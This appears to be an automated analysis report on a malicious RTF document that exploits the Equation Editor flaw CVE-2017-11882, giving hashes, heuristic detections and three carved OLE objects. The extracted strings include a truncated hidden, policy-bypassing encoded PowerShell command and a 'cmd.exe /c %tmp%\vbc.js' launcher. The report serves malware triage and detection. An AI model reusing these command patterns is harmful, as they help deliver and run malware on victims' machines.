RTF malware analysis — malicious · 49118139704459eb

MALICIOUS

RTF

18.3 KB Authoring application: Riched20 6.3.9600 First seen: 2020-04-06

MD5: e5e91b0321eda949ea6afe4d56c06c58 SHA-1: bc0d161a313462f6d14d129ec2afb86855db3b7c SHA-256: 49118139704459ebcf3dde043351b932d5979fdd2bf46a4c33f20be8a81e5098

360 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects, specifically triggering the CVE-2017-11882 vulnerability via the Equation Editor. This exploit allows for the execution of arbitrary code, likely to download and run a secondary payload. The ClamAV detection of Js.Trojan.Downloader further supports the malicious intent.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Js.Trojan.Downloader-9942262-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Js.Trojan.Downloader-9942262-0
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 3 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000ef.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF	926 bytes
SHA-256: `a41b459af1b68782264cd7876bf77a38da03daf32b1f848991aabab2b6b39c50`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): WSCript.shELl").ruN( '"powersHeLL.EXe" PoWeRSHELL.exe -EX BYPAss -nOp -W hIddEn -EC IAAJAAkAcwBFAFQALQBDAE8ATgB0AGUAbgBUAAkAIAAgAC0AVgBBAAkACQAJACgACQAg
`objdata_01_off0000087a.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x87A	3980 bytes
SHA-256: `97fbacc4c4c71a6c71c534bc2102fd4dc85e800a19fa5b28e30e33188b0b6577`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\vbc.js &��D$,f-Q��%
`objdata_02_off00002ac0.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x2AC0	3546 bytes
SHA-256: `bb4e26407bc3607c81adeb74f692fb15391aa1fbed6d5c0019d0a725b32dc4c2`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\vbc.js AC

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